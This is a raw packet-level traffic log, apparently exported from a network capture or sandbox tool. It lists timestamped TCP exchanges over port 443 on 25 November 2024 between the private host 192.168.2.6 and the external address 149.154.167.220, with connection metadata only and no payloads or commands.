Nov 25, 2024 13:40:40.517644882 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.517692089 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.517744064 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.541615009 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:40.541778088 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:40.542238951 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542346954 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542368889 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542534113 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542644978 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542709112 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542749882 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542793036 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542849064 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.542901039 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.587331057 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:40.587606907 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.612102985 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:40.612180948 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:40.612306118 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:40.612320900 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:40.619187117 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:40.624707937 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:44.803498983 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:44.803586960 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:44.803595066 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:44.803677082 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:44.803889036 CET	49901	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:44.803905010 CET	443	49901	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:44.870609999 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:44.870654106 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:44.870744944 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:44.871068001 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:44.871085882 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:46.285099983 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:46.285322905 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:46.285864115 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:46.285873890 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:46.286137104 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:46.286143064 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:46.286247969 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:46.286252975 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:47.182612896 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:47.182703018 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:47.182771921 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:47.186192036 CET	49917	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:47.186212063 CET	443	49917	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:48.998539925 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:48.998584032 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:48.998878956 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:48.999063969 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:48.999075890 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.453975916 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.454157114 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.509530067 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.509553909 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.509888887 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.509895086 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510045052 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510056019 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510122061 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510128975 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510155916 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510162115 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510251999 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510262966 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510282993 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510291100 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510313034 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510324955 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510334015 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510339022 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510411024 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510418892 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510448933 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510459900 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510509014 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510521889 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510529995 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510534048 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510634899 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510644913 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510694027 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510699987 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510760069 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510767937 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510773897 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510778904 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510796070 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510802031 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510874033 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510883093 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510925055 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510931969 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.510988951 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.510994911 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511032104 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511051893 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511058092 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511060953 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511178970 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511193991 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511212111 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511218071 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511264086 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511271954 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511323929 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511329889 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511365891 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511374950 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511430979 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511436939 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511472940 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511481047 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511517048 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511523008 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511595011 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511599064 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511640072 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511646032 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511710882 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511715889 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511751890 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511758089 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511817932 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511822939 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511854887 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511862040 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511909962 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511915922 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511969090 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.511977911 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.511992931 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.512001991 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.512015104 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.512020111 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.512075901 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.512132883 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.512192011 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.512234926 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.512269974 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.512326956 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.559375048 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.567660093 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.567773104 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.571497917 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.571561098 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.571676970 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.571712017 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.611378908 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.635386944 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.639489889 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.639590025 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.639656067 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.643621922 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.683340073 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.694360971 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.694433928 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.694561958 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.694977999 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.699773073 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.699848890 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.739375114 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.746855974 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.746952057 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.747025013 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.757339954 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.757510900 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.791330099 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.970648050 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.970678091 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.970774889 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.970787048 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.970896006 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.970909119 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.970935106 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.970947027 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.971012115 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971024990 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.971050978 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971061945 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.971127987 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971148968 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.971167088 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971184969 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.971203089 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971209049 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:50.971323967 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971369982 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971424103 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971463919 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:50.971524000 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.019335032 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.019560099 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.019623041 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.019684076 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.019711018 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.019947052 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.019994974 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.063374043 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.063641071 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.063709021 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.063838959 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.063971996 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.064055920 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.073015928 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.073353052 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.073374033 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.073379040 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.073579073 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.073626041 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.073658943 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.073692083 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.073729992 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.119335890 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.119609118 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.119632006 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.119718075 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.119738102 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.119879961 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.119921923 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.167325020 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.167577982 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.167656898 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.167712927 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.167772055 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.167833090 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.215339899 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.215605974 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.215714931 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.215869904 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.215923071 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.215972900 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.216028929 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.263323069 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.263722897 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.263854027 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.263932943 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.263993025 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.264028072 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.307369947 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.307794094 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.307837963 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.307883978 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.307902098 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.307959080 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.314399004 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.314663887 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.314681053 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.314749002 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.314804077 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.314831972 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.315038919 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.315102100 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.315150023 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.359327078 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.359618902 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.359704971 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.359759092 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.359821081 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.359878063 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.407327890 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.407711983 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.407928944 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.407953024 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.408055067 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.408147097 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.408179045 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.455328941 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.554753065 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.554904938 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.595385075 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.595741034 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.595788002 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.595803022 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.595849991 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.595865965 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.643342972 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.794368982 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.797081947 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.797111034 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.797120094 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.801026106 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.801044941 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.843333960 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.916599035 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.916989088 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.917030096 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:51.917040110 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.917160988 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.917187929 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.917341948 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:51.963325977 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.155534029 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.155677080 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.155698061 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.155713081 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.155946970 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.155980110 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.203332901 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.277159929 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.277493000 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.277534962 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.277545929 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.277656078 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.277841091 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.319374084 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.398660898 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.401010036 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.401055098 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.401066065 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.401187897 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.401207924 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.447345972 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.639241934 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.641036987 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.641062975 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.641073942 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.644963980 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.645291090 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.683345079 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.760065079 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.760215998 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.760247946 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.760260105 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.760406971 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.760430098 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.767117023 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.767369032 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.807337999 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.880989075 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.881216049 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.881253004 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:52.881261110 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.881378889 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.881594896 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:52.927375078 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:53.001753092 CET	443	49927	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:53.002022982 CET	49927	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:53.002048969 CET	443	49927	149.154.167.220	192.168.2.6
